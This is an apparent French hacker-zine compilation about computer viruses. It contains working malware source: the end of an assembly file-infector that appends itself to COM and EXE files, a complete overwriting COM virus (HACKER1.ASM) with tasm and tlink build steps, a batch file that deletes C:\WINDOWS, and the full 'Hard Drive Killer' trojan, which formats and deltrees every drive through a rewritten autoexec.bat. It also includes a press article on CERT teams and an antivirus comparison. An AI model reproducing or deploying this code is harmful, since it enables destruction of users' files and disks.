;*** Proc: Calculate data for infection ***

Calc_data: mov ax,4202h ; Go to EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
jz No_par_add ; Yes, no extra par added
add ax,10h ; Add paragraph
adc dx,0 ; Overflow -> Inc dx
and ax,0FFF0h ; Make paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize] ; File too big?
ja not_infect ; Yes, quit
cmp ax,[VirSize] ; File too small?
jbe Not_Infect ; Yes, quit
mov [ProgSize],ax ; Save program-size
mov cl,4
shr word ptr [ProgSize],cl ; In paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr ; Go to EOF
clc
ret
Not_Infect: stc
ret

Calc_exe: push ax
push dx
add ax,100h ; 100 bytes stack
adc dx,0 ; Overflow - inc dx
mov cx,dx
mov dx,ax
call Cng_file_ptr ; Go to EOF
push bx
add ax,[VirSize] ; New exe-length
adc dx,0
mov bx,200h ; For header: / 512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below 2.000.000h bytes - length correction
No_Correct: mov [Head_buf+2],dx ; Save new file-length
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
clc
ret

;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8] ; Size of header
sbb dx,0
mov [Head_buf+0Eh],ax ; Save prog-SS
mov [Head_buf+16h],ax ; Save prog-cs
pop cx
ret

;*** Check infection is possible ***

Chk_Inf: call Chk_exec ; Check file is executable
jb Not_exec
call Get_attr ; Check file has no SYS attr
Not_Exec: ret

;*** Search-paths ***

Com_path db '.COM',0

Exe_path db '.EXE',0

;*** Check file is executable (.COM / .EXE)

Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz ; Search '.'
scasb
jnz not_inf ; No '.' found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz ; Check '.COM'
cmpsb
pop di
jnz no_com ; No .COM
clc
jmp short Infect
nop
Not_Inf: stc

Infect: cld
pop es
ret
No_Com: mov si,offset Exe_path+4
mov cx,4
repz ; Check '.EXE'
cmpsb
jnz not_inf ; No .EXE either - not executable
clc
jmp short infect

Get_Attr: push ds
mov ax,4300h ; Get FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr ; Error - don't infect
test cx,4 ; System-Attr?
jnz Bad_Attr ; Yes, don't infect
clc
ret

Bad_Attr: stc
ret

First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
dw (?)
mov bx,cs ; Overwrites the begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf

;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;

Maintenant regardons les fonctionnalités de différents virus:

1. Armagedon: ce virus utilise vos ports locaux COM pour appeler un service local d'information en Grece, ne marche qu'avec des modems exploitant la ligne téléphonique.
2. Melissa: marche avec Word97, ce virus en .doc s'auto-envoye aux gens dont les adresses e-mails apparaissent dans MS Outlook address book. Ouvert avec Word 2000 il réduit les paramètres de sécurité au minimum.
3. Yankee 44 A/B: ce programme infecte tout les .exe et .com quand ceux-ci tournent
4. Vascina TP 33: ce programme infecte les .exe et .com, si il trouve une version de lui plus ancienne que l'actuelle, il l'update par lui-même (nouvelle version)
5. Tolbuhin 992/1004: ce virus infecte les fichiers .com, de plus le PC rame quand le virus essaye d'infecter un fichier.
6. Tequila: après sa première infection sur le disque-dur, il n'infecte que les 4 premiers mois, après quoi tout les 4 mois de l'infection il affiche un message d'anniversaire.
7. Possessed 2443: après que le virus soit actif pour 15 à 20 minutes, tout programme qui tourne sera effacé. Quand aux fichiers infectés (.exe et .com) il contiendront le mot "POSSESSED!"
8. PM trojan (OCX): ce programme remplace les fichiers PWL et de passwords ICQ de l'utilisateur du système: un animation apparait pour faire comme si rien de spécial n'arrive.
9. Omega: quand le virus est activé un Vendredi 13, le symbole omega apparait et le disque-dur est réécrit.
10. Nuke Marauder 860: tous les 2 février ce virus écrit sur les fichiers .com la commande INT 20h (retour à DOS).
11. MSK 284/293: inefecte TOUS les .exe et .com dans le répertoire où il se trouve et peut corrompre le C:
12. Keypress: je vous avais donné le code source plus haut, ce virus s'active toutes les 30 minutes.
13. Hymn Hymn: quand le mois et le jour sont identiques (ex: 12/12) le virus détruit les secteurs boot du HD, joue de la musique, et affiche un message.
14. Anti-Pascal 605: le virus change la date et l'heure d'un programme infecté. De plus il efface tous les fichiers .bak et .pas.

Remarque: il est évident que cette partie est incomplète, pour preuve: ceci ne sont des détails que sur 14 des 750 virus que j'ai en banque de donnée. Il sort en moyenne 100 virus par mois, donc cette liste ne sert qu'à vous donnez un aspect global des fonctionnalités des différents virus.

Les différents types de virus:

Ca sert à rien de répéter ce qui est déjà dit, mais un article sur les virus sans ça, c'est dommage.

- Virus de fichier, ou virus à action directe:
Ces virus ajoutent leur code à celui de fichiers executables (avec l'extension .EXE, .COM, .SYS, etc)

-Virus résidents:
Ces virus se chargent en mémoire centrale et, de là, contaminent d'autres programmes.

- Virus du secteur d'amorce des disques:
Ces virus remplace l'amorce d'un disque par leur propre code, déplacant cette amorce sur le disque et se chargent ensuite en premier en mémoire centrale, dés les premiers accés aux disques.
De là, il rendent inutilisable le disque d'amorçage ou se propagent à d'autre disque où ils commettent alors leurs Payload. (en englais action /méfait)

-Virus furtifs:
Voici une catégories de virus qui échappe à toutes détection en se camouflant.
Il faut savoir qu'une méthode de détection classique des virus triviaux consiste à enregistrer la longeur d'un programme. Lorsqu'un virus frappe ce dernier, il ajoute son propre code ce qui par conséqunt accroît la taille du fichier infecté.
Or, un virus furtif, lui, s'arrange pour qu'on lise toujours la même longeur pour le fichier contaminé. Si vous lancez un Dir (sous Dos) par exemple, le virus détourne cette demande, effectue un petit calcul et hop! affiche la taille initial du fichier non contaminé. (pas con la petite bête ! ..)

- Virus cryptés:
Les virus cryptés sont encore plus vicieux. Ils modifie leur popre code par cryptage (XOR en assembleur pour les connaisseurs).
Il existe des multitudes de moteur de cryptage dont le plus connus est le MTE (Mutation Engine) de Dark Avenger.

- Virus polymorphe ou mutant:
Ces derniers sont encore plus malin car ils modifient leurs propre signature à chaque contamination. En effet, il faut savoir que les Anti-Virus recherche en priorité les signatures des virus, c'est à dire les chaînes de caractères qui lui sont propres. Et là, héhé ils sont pas dans la merde moi je vous le dis.

- Virus pièges:
Le virus piège associe un virus connu à un virus encore inconnu. Vous détectez le premier et, tout happy vous l'éliminez en le détruisant, mais le secon lui subsiste. (Nice shot !)

- Rétrovirus:
Le rétrovirus est un virus spécialement créé pour contrer et déjouer les fonctions d'un logiciel antivirus donné. Connaissant le mode d'action de cet antivirus, il le contre et déjoue ses pièges.

Pourquoi code-t-on les virus en assembleur:

L'asm est l'abbréviation de "assembleur". Les fichiers programmés en assembleur et non compilés sont de type .asm., une fois compilés ils prennent la forme d'un .exe. Si les virus sont programmés en assembleur c'est parce que l'assembleur est le language machine, et qu'à partir du moment où un programme est programmé en assembleur il peut TOUT faire sur le système d'exploitation.
Porgrammer en assembleur requiert donc de:
- connaitre le système d'exploitation
- connaitre ce language de programmation
Autre avantage de l'assembleur, c'est que les programmes fait en assembleur sont assez petits (quelques ko), ce qui peut cependant évoquer une certaine méfiance.

En quoi Linux/UNIX est "immunisé" contre les virus:

Linux a deux caractéristiques qu'il faut retenir:
Exécution en mode protégé sur les processeurs x86. Protection de la mémoire entre les processus, afin qu'un programme ne puisse à lui seul compromettre le fonctionnement de l'ensemble du système. Donc les virus résidents ne peuvent pas se propager (c.f. plus haut)
Donc même si les virus ne peuvent pas se lancer, les mouchards (sniffers) le peuvent.

Programmation de virus (par Syphillis [Beef13]):

Ce programme est tout simple : Il cherche les fichiers COM dans le rep courant
et les infecte en se copiant au tout debut du fichier.

Mais comment chercher des fichiers ?
En utilisant la fonction de l'API DOS appropriée. Comment la connaitre ? En
lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC.
Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions
correspondent aux fonctions C findfirst() et findnext() mais ici on n'a pas
de ffblk.
Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramètre
en AH le numéro de la fonc et en dx l'OFFSET sur une chaine ASCIIZ (qui finit
par un zero si t es trop con pour savoir ce que c'est ) avec le nom du fichier
à rechercher ( les caractères jokers sont acceptés ).
En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier est
trouvé plein de trucs sont mis dansl la DTA qui est toujours située à partir
de l'OFFSET 80h du PSP. Le nom du fichier se trouve à L OFFSET 9Eh. Pour
rechercher un autre fichier, il suffit d'appeler la fonction 4Fh ( mov ah,4Fh)
puis int 21h).

Bon maintenant on sait chercher des fichiers. Mais comment s'en servir.
Souviens toi qu'on a le nom du fichier qu'on vient de trouver à l offset 9Eh,
au debut du segment dans le PSP ( Prefix Segment Program ou l inverse sais
plus).
Il va encore falloir se servir des fonctions de l'API DOS. Les utiles ici
sont au nombre de trois :
la 3Dh : ouvrir un fichier (Handle)
la 3Eh : fermer un fichier (Handle)
la 40h : écrire dans un fichier (Handle)
Dans le monde de DOS il existe 2 moyens de se servir des fichiers : le FCB
et les Handles. Nous utiliserons les Handle qui sont beaucoup plus pratique
dans cette situation.

pour ouvrir un fichier, il suffit de foutre en AH le numéro de la fontion
(3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du nom de
fichier puis un petit int 21h et le tour est joué. Cette fonction renvoie
le Handle du fichier en AX. Mais comme toutes les autres fonctions le veulent
en BX ou le foutra en BX toute suite grâce à un xchg ax,bx.

Puis on écrit dedans le virus au tout début du fichier. Etant donné qu'il
viens d'être ouvert, il est au tout début et pas de soucis à avoir de ce côté‚
là. Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille et en DX
l'offset du buffer à écrire. Dans notre cas l'offset est égal à 100h
( fin du PSP et début du prog). La taille a été codée directement mais
on aurait pu mettre un OFFSET machin avec un machin: à la fin du file
pour ke tout soit OK.

Reste à fermer le fichier avec la fonction 3Eh qui attends le handle en BX
et le tour et joué.
Voici maintenant le fichier. Grâce … queqlques astuces dans son organisation
j ai pu réduire sa taille au max.

-------------------------- Fichier HACKER1.ASM ---------------------------------

; Ce virus est un virus débile !!!!!

.model small ;modele de mémoire
.code ;segment de code

ORG 100h ;un COM commence … l adresse mémoire 100h

CON1:

mov ah,4Eh ; Rechercher le premier COM du répertoire
mov dx,OFFSET FILESPEC
int 21h

INFECT:

jc FIN ; si aucun -> FIN
mov ax,3D01h ; un fichier a été trouvé :
mov dx,9Eh ; l'ouvrir
int 21h

xchg ax,bx ;Handle en BX

mov ah,40h ;Ecrire le virus au début du fichier
mov cx,2Dh ;Taille du virus
mov dx,100h
int 21h

mov ah,3Eh ;fermer le fichier
int 21h

mov ah,4Fh ;chercher fichier suivant
int 21h
jmp INFECT

FIN:
ret

FILESPEC DB '*.COM',0 ; Doit finir par un zéro !

END IGA1

------------------------------- Fin du Fichier -------------------------------
Voilà c'est tout !
Pour le compiler : tasm HACKER1
tlink /t HACKER1
et on a le fichier hacker1.com
Si tu ne comprends pas ce code, passe ton chemin !

Si toi tester ce virus, il detruira tous les fichiers COM du répertoire !
C'est un peu ennuyeux si on veux rester discret.

Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux ci
ayant un en-tête precis et pouvant faire plusieurs segment, ils sont plus
compliqués à infecter.

Remarque: je n'ai pas vérifié la véracité de ces faits, de plus au niveau de la compilation du programme je pense qu'il vaut mieux rajouter ces quelques lignes (Note de Clad Strife):
Le programme doit être saisi dans un fichier texte non formatté (c'est-à-dire sans caractères en gras, souligné, avec des polices de caractères de différentes tailles, ...) appelé fichier source. En effet, l'assembleur (le programme permettant de faire la traduction du langage assembleur en langage machine) permet uniquement de créer un fichier assemblé à partir du fichier source (il devra comporter l'extension .ASM, en s'appelant par exemple source.asm ou n'importe quel autre nom suivi de l'extension .asm).
L'assembleur va fournir un fichier objet (dont l'extension est .obj) qui va contenir l'ensemble des instructions traduites en instructions machines. Ce fichier .OBJ ne pourra toutefois pas s'exécuter directement car il faut encore lier les différents fichiers.
Comment ça les différents fichiers?
En effet il est possible de construire un exécutable à partir de plusieurs fichiers sources (à partir d'un certain niveau de programmation il devient intéressant de créer des fichiers contenant des fonctions...). Ainsi, même si vous avez un seul fichier objet il vous faudra utiliser un programme (appelé éditeur de liens) qui va vous permettre de créer un fichier exécutable (dont l'extension sera .exe).
A quoi ressemble un fichier en assembleur:
Comme dans tout programme le fichier source doit être saisi de manière rigoureuse. Chaque définition et chaque instruction doivent ainsi s'écrire sur une nouvelle ligne (pour que l'assembleur puisse les différencier) Le fichier source contient:
Des définitions de données déclarées par des directives (mots spéciaux interprétés par l'assembleur, nous les étudierons plus tard, le but est ici de donner une idée de ce à quoi ressemble un fichier source) Celles-ci sont regroupées dans le segment de données délimité par les directives SEGMENT et ENDS
Puis sont placées les instructions (qui sont en quelques sorte le coeur du programme), la première devant être précédée d'une étiquette, c'est-à-dire un nom qu'on lui donne. Celles-ci sont regroupées dans le segment d'instructions délimité par les directives SEGMENT et ENDS
Enfin le fichier doit être terminé par la directive END suivi du nom de l'étiquette de la première instruction (pour permettre au compilateur de connaître la première instruction à exécuter
(Les points-virgules marquent le début des commentaires, c'est-à-dire que tous les caractères situés à droite d'un point virgule seront ignorés)
Voici à quoi ressemble un fichier source (fichier .ASM):

donnees SEGMENT; voici le segment de données dont l'étiquette est donnees

;Placez ici les déclarations de données

donnees ENDS; ici se termine le segment de donnees

ASSUME DS:data, CS: code

instr SEGMENT; voici le segment d'instructions dont l'etiquette est instr

debut: ;placez ici votre premiere instruction (son etiquette est nommée debut)

;Placez ici vos instructions

instr ENDS; fin du segment d'instructions

END debut; fin du programme suivie de l'etiquette de la premiere instruction

la déclaration d'un segment
Comme nous le verrons plus loin <segmentation.htm>, les données sont regroupées dans une zone de la mémoire appelé segment de données, tandis que les instructions se situent dans un segment d'instructions.
Le registre DS (Data Segment) contient le segment de données, tandis que le registre CS (Code Segment) contient le segment d'instructions. C'est la directive ASSUME qui permet d'indiquer à l'assembleur où se situe le segment de données et le segment de code.
Puis il s'agit d'initialiser le segment de données:
MOV AX, nom_du_segment_de_donnees
MOV DS, AX

On va s'en arrêter là pour la programmation en assembleur.

Bases de la programmation de .bat:

La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS, et savoir taper sur son clavier. D'abord quelqes commandes de bases:
echo off : désactive l'affichage de ce qui se passe
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS
echo. : saute une ligne
echo J'écris bien hein? : affiche ce qui est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour continuer
C:\WINDOWS\telnet.exe : éxécute telnet
Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire:
echo off
echo this programm is created by XXX all rights reserved
pause
del C:\WINDOWS\*.*
dir C:\WINDOWS\
echo t'es mort
cls
On peut aussi créer des menus d'options:
@echo off
:menu
cls
echo.
echo Menu d'options :
echo -----------------------
echo 1. Editer autoexec.bat
echo 2. Editer config.sys
echo.
echo Q. Quitter
echo.
choice /c:12Q /t:Q,60 /n Votre choix ?
if errorlevel 255 goto erreur
if errorlevel 3 goto Quitter
if errorlevel 2 goto EditConf
if errorlevel 1 goto EditAuto
if errorlevel 0 goto erreur
goto fin
:erreur
echo Il y a eu une erreur.
goto fin
:Quitter
goto fin
:EditConf
edit c:\config.sys
goto menu
:EditAuto
edit c:\autoexec.bat
goto menu
:fin
Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider:
Aide sur CHOICE :
choice [/c:ON] [/t:X,nn] [/n] [Invite]
/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)
/t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c:
/n Interdit le respect de la casse
Invite Texte d'invite qui apparaît
Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic.
Paramètre de la ligne de commande
@echo off
cls
echo.
echo Le prog est %0
echo.
echo Bonjour %1,
echo.
echo A plus, %2
Enregistrer sous "c:\test.bat" et taper sous dos :
c:\test.bat "votrenom" "unAutrenom"
%X correspond au Xième groupe de caractères sur la ligne de commande pour X={0;9}
Très pratique pour faire un prog d'installation :
xcopy a:\*.* %1:\%2
Ici, %1 est la lettre de lecteur et %2 le dossier.

Virus en .bat:

L'article qui va suivre va faire une brève description d'un virus en .bat qui est malheureusement détecté par AVP et Norton (synonyme de qualité donc), comme trojan. Au sens littéral du terme un trojan et un virus se différencie par très peu de choses: un virus s'inscrit partout sur un HD (pour parler aussi simplement), un trojan non. Il existe 2 sortes de trojans:
- les trojans usuels (que vous connaissez et qui se foutent comme serveur sur votre bécane)
- les trojans destructeurs (celui qui va suivre)
Voici le code source à copier dans un .txt et à renommer en .bat.
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

Article de Libération sur les "pompiers du net":

Quand le câble qui achemine les données de l'Internet vers l'Angleterre a viré au rouge sur l'écran de contrôle, il a fallu réagir très vite. «Au début, on ne savait pas ce qui se passait», raconte David Crochemore. Sous ses yeux, il avait la cartographie des tuyaux qui composent Renater, le réseau informatique français de l'enseignement et de la recherche. Quand un des liens passe au orange ou au rouge, c'est l'alerte. Simple souci technique ou attaque de pirate informatique?
Riposte. Ce jour d'octobre, un hacker était passé par là: le câble qui relie Renater à l'Angleterre était presque saturé, «très encombré» par des données envoyées en masse par le pirate malveillant. Coups de téléphone aux techniciens présents aux endroits stratégiques, interventions sur les ordinateurs. «En quelques heures, on a réglé le problème.»
David Crochemore, avec sa moustache en guidon de vélo, est un pompier. Un soldat du feu high-tech, responsable pour Renater du Cert (Computer Emergency Response Team), le nom générique donné aux «équipes de riposte en cas d'urgence informatique». Partout dans le monde, des structures de ce type ont pour mission de réagir aux attaques de pirates, aux virus et à tous les hoquets de sécurité de l'Internet.
«Notre rôle n'est pas de déposer plainte ou de donner la chasse aux pirates, explique David Crochemore, mais d'assister les utilisateurs victimes d'une attaque.» Le Cert, qu'il dirige coordonne les efforts des spécialistes de la sécurité présents notamment au CEA (Commissariat à l'énergie atomique), au Cnes (Centre national d'études spatiales) et dans les universités. Il diffuse des alertes, avertit de l'existence de nouveaux virus, fournit des documents sur les failles de sécurité des logiciels. Et, dans l'autre sens, centralise les informations envoyées par ses correspondants. Un bon moyen pour repérer les attaques à la mode. «Quand un nouvel outil de piratage apparaît, tous les hackers de bas étage se ruent dessus», sourit Crochemore.
Le boulot ne manque pas. Par jeu ou par malveillance, les pirates ne cessent de prendre d'assaut les machines. Du côté de Renater, David Crochemore avoue cinq ou six problèmes graves (prise de contrôle d'un ordinateur) et cinquante à soixante-dix incidents plus bénins par mois. «C'est près de cinq fois plus qu'il y a deux ans, dit-il. Mais on ne nous signale pas tout.» A Bordeaux, le responsable de la sécurité des universités concède qu'il est victime de «deux à trois tentatives de piratage quotidiennes». Et précise que «ceux qui disent qu'ils ne sont pas attaqués sont des menteurs».
Urgence. La création du premier Samu de la sécurité informatique remonte à décembre 1988, à l'université de Carnegie Mellon (Pittsburgh), à la demande de la Darpa, l'agence de recherche et développement du département de la Défense américain. Il y avait urgence: un virus lâché par l'étudiant Robert Morris le mois précédent venait de paralyser plus de 10 % des ordinateurs connectés à l'Internet. Depuis, c'est l'explosion. En France, une équipe de technopompiers destinée à secourir les administrations et les ministères devrait voir le jour avant la fin de l'année. L'organisme sera piloté par le Service central de la sécurité des systèmes d'information (SCSSI), aux ordres de Matignon.
Coopération. Au total, la planète compte près de 80 équipes, fédérées au sein du First (Forum of Incident Response and Security Teams), basé aux Etats-Unis. Cet organisme est chargé d'assurer la coopération des différents Cert en cas de pépin d'ampleur. Ainsi, en mars, quand le virus Melissa a déferlé sur l'Internet, «une conférence téléphonique avec plusieurs dizaines de personnes de toute la planète a eu lieu», raconte David Crochemore. Des Asiatiques, victimes du décalage horaire, ont dû se relever en pleine nuit pour le briefing. Une procédure d'urgence, mais encore un peu poussive: lorsque les Cert ont enfin délivré le moyen de lutter contre Melissa, le virus avait déjà fait le tour de la planète.
Pompier du Net, un métier d'avenir? Selon le général Jean-Louis Desvignes, le patron du SCSSI, c'est certain. Pressés par une concurrence très forte, les éditeurs de logiciels ne cessent de sortir de nouvelles versions de leurs produits, souvent sans prendre le temps de vérifier si des failles de sécurité subsistent. «On vous annonce une nouvelle version alors que la précédente est encore pleine de bugs, s'agace-t-il. Et l'Internet augmente la vulnérabilité des ordinateurs.» Un bonheur pour les pirates, toujours prêts à se faufiler dans le moindre interstice. Et de nouveaux incendies en prévision.

Antivirus:

Posséder un anti-virus c'est bien, savoir lequel choisir c'est mieux. Les antivirus détectent évidemment foule de virus, avec une base de données remises à jour chaque semaine. Des gens sont payés pour trouver des virus. Le plus connu des Anti-Virus est Norton Anti-Virus, mais est-il réellement efficace?
Oui il l'est mais dans des proportions non effarantes. Sur 700 fichiers de scannés Norton n'a trouvé que 200 virus sur les 400 mis à disposition. De plus Norton scann tout ce qui est cracker (multiicq par exemple), ou bien des programmes comme la partie client de BO2K qui, jusqu'à nouvel ordre, n'est pas infecté par un trojan. De plus Norton peut vous donner la description de certains virus/troyans: bien vague... Alors que Norton fait une description de Netbus 1.7 (serveur) il n'en fait pas pour la 2.0: quand on sait que la deuxième est la plus dangereuse...

Si je devais vous conseiller un Anti-Virus je devrais vous conseiller AVP (Anti Viral Toolkit pro), il détecte 20% de plus de virus (sans rajouter n'importe quoi) que NAV.

Sinon voici un comparatif d'antivirus:

SYMANTEC NORTON ANTIVIRUS FOR FIREWALLS
Recherche les virus sur le: HTTP, SMTP, FTP.
Ne recherche pas de magouilles sur les Applets
Ne fait recherche les certificats (intéressant)
Ne recherche pas de signatures (intéressant)
Ne recherche pas les sources (intéressant)
Ne filtre pas les E-mails (intéressant)
Ne fait pas de gestionnaire de délivrance de courrier
Pas d'OPSEC Compliant (NT)
Pas d'OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url (intéressant)
